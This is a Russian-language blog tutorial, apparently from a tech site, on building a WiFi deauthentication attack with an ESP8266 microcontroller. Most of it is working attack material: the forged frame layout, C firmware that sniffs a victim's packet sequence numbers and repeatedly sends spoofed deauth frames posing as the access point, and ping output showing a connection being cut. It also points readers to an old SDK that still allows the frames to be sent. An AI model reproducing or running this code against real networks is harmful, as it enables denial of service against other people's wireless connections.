Думаю, многие согласятся, что ESP-8266 — замечательное изобретение для DIY и Internet of things. Эдакий WiFi-датчик, которые можно подсоединить к Arduino или даже использовать вместо Arduino для отправки, как правило, погодных данных на сервер. Существует множество разных прошивок позволяющих делать это: начиная со стокового модема используемого в связке с Arduino, NodeMCU для адептов LUA, и заканчивая многочисленными веб-серверами, полностью обслуживаемыми ESP (пример).
Как правило, после получения миниатюрного микроконтроллера из Китая вы вряд ли захотите написать собственную прошивку и будете использовать одну из имеющихся. На то есть 2 причины: чтобы вы там ни задумали, это уже было реализовано и вы вряд ли захотите иметь дело с китайским SDK щедро сдобренным костылями и недокументированными возможностями. И пусть вас не сбивает с толку привлекательный дизайн сайта: написание прошивки для ESP это боль и страдания. Если же вас это не пугает, то добро пожаловать. Статья ориентирована на ардуинщика с минимальным опытом работы с ESP: вы уже умеете собирать прошивки и записывать их в микроконтроллер.
Как можно понять из заголовка, мы будем работать напрямую со стеком 802.11, насколько это вообще возможно в случае ESP. Promiscuous mode на ESP — возможность слать и принимать «чужие» пакеты данных из эфира. Сфер применения не так много: статистический анализ (сбор всяких данных, таких как загруженность в зависимости от частоты) и проникновение и взлом сетей. В последнем случае типичным времяпрепровождением script kiddie будет деаутентификация (разрыв соединения) соседа от его WiFi маршрутизатора пока он играет в доту/танки. Обычно для этого светлая голова устанавливает Kali Linux и использует набор скиптов air*-ng, мы же будем использовать миниатюрный контроллер.
Для этого, помимо железа, нам понадобится API (я использовал ESP8266 Non-OS SDK API Reference, ссылка может очень скоро сломаться) и замечательный проект esp-open-sdk который сделает большую часть сборки проекта за вас. Полуготовый (по этическим соображениям) проект по результатам этой заметки можно найти на github.
Итак deauth. Кто не знает — оборвать ваше WiFi соединение можно с помощью пары десятков байт данных посланных в эфир поблизости. Шифрование не спасает по чисто концептуальным причинам: deauth предусмотрен для тех случаев, когда связь плохая и пакеты теряются. Соответственно, необходим действенный механизм крикнуть клиенту «я всё, мне надоело» и начать соединение с чистого листа. И тут уж не до шифрования. В нашем случае мы притворимся, что не выдержала точка доступа и от её имени пошлём письмо счастливому клиенту. Структура пакета следующая:
[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]
Жадный до знаний сам найдет что означают магические константы, я же коротко опишу переменные:
- two_random_bytes будут перезаписаны микроконтроллером;
- client_MAC_address 6 байтов физического адреса MAC устройства клиента;
- ap_MAC_address 6 байтов физического адреса MAC устройства сервера (роутера, точки доступа);
- seq_N_lo,hi младший и старший байты seq_n, порядкового номера пакета, умноженного на 16 (самые младшие 4 бита зарезервированы для возможности пересылки того же пакета еще раз)
Итак,
Шаг 1: переводим ESP в режим station
Следуя ненавязчивым комментариям от друзей-китайцев, это просто необходимо (без объяснений).
void ICACHE_FLASH_ATTR
user_init()
{
uart_init(115200, 115200);
os_printf("nnSDK version:%sn", system_get_sdk_version());
// Promiscuous works only with station mode
wifi_set_opmode(STATION_MODE);
// Set timer for deauth
os_timer_disarm(&deauth_timer);
os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
// Continue to 'sniffer_system_init_done'
system_init_done_cb(sniffer_system_init_done);
}
Кроме всего прочего, мы здесь выставляем скорость ввода-вывода из serial для возможности прочитать отладочные сообщения, используем встроенный таймер чтобы вызывать метод deauth каждые DEAUTH_INTERVAL миллисекунд и даем возможность ESP пошуршать перед переходом ко второму этапу инициализации.
Шаг 2: переводим ESP в режим promiscuous
Для этого определяем функцию sniffer_system_init_done которая была использована ранее.
void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
// Set up promiscuous callback
wifi_set_channel(channel);
wifi_promiscuous_enable(0);
wifi_set_promiscuous_rx_cb(promisc_cb);
wifi_promiscuous_enable(1);
}
Здесь выставляем полосу WiFi (канал приема / передачи данных, смотрите инструкцию к вашей стране), записываем колбэк для приема пакетов promisc_cb и запускаем режим promiscuous. Зачем нам этот callback?
Шаг 3: вынюхиваем пакеты
Один из параметров deauth пакета, seq_n, подразумевает, что мы принимали предыдущие пакеты и знаем порядковый номер следующего. Для это нам нужно слушать чужое соединение и записывать этот seq_n.
static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
if (len == 12){
struct RxControl *sniffer = (struct RxControl*) buf;
} else if (len == 128) {
struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
} else {
struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
int i=0;
// Check MACs
for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
// Update sequence number
seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
}
}
Каскад if-ов связан с черной магией разнообразием стандартов 802.11. Конечно, ESP поддерживает только самый необходимый набор и не работает, скажем, с частотой 5Ghz. Описания всех структур доступны в документации и примерах, нам же необходимо малое: поле с данными sniffer->buf в данном случае. Мы проверяем, что пакет пришел от точки доступа и направлялся к нашей жертве и, если так, записываем 2 байта seq_n. К слову, пакеты в обратную сторону имеют отдельную нумерацию.
Шаг 4: отправка
Дело за немногим — отправить пакет.
uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
int i=0;
// Type: deauth
buf[0] = 0xC0;
buf[1] = 0x00;
// Duration 0 msec, will be re-written by ESP
buf[2] = 0x00;
buf[3] = 0x00;
// Destination
for (i=0; i<6; i++) buf[i+4] = client[i];
// Sender
for (i=0; i<6; i++) buf[i+10] = ap[i];
for (i=0; i<6; i++) buf[i+16] = ap[i];
// Seq_n
buf[22] = seq % 0xFF;
buf[23] = seq / 0xFF;
// Deauth reason
buf[24] = 1;
buf[25] = 0;
return 26;
}
/* Sends deauth packets. */
void deauth(void *arg)
{
os_printf("nSending deauth seq_n = %d ...n", seq_n/0x10);
// Sequence number is increased by 16, see 802.11
uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
wifi_send_pkt_freedom(packet_buffer, size, 0);
}
Первая функция записывает необходимые данные в буфер, вторая — отправляет его.
Шаг 5: проверяем
Для проверки работоспособности я использовал собственный компьютер.
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms
Для объективного анализа можно использовать Wireshark:
Пакет виден именно в том виде, в котором мы его отправили.
Так что, это правда работает? Нет. В текущих версиях SDK это сломали пофиксили. Broadcast пакеты отправлять можно, но не более того. Но старый SDK был любовно сохранен и доступен как часть примера на GitHub. Используйте с осторожностью.
Автор: pompeius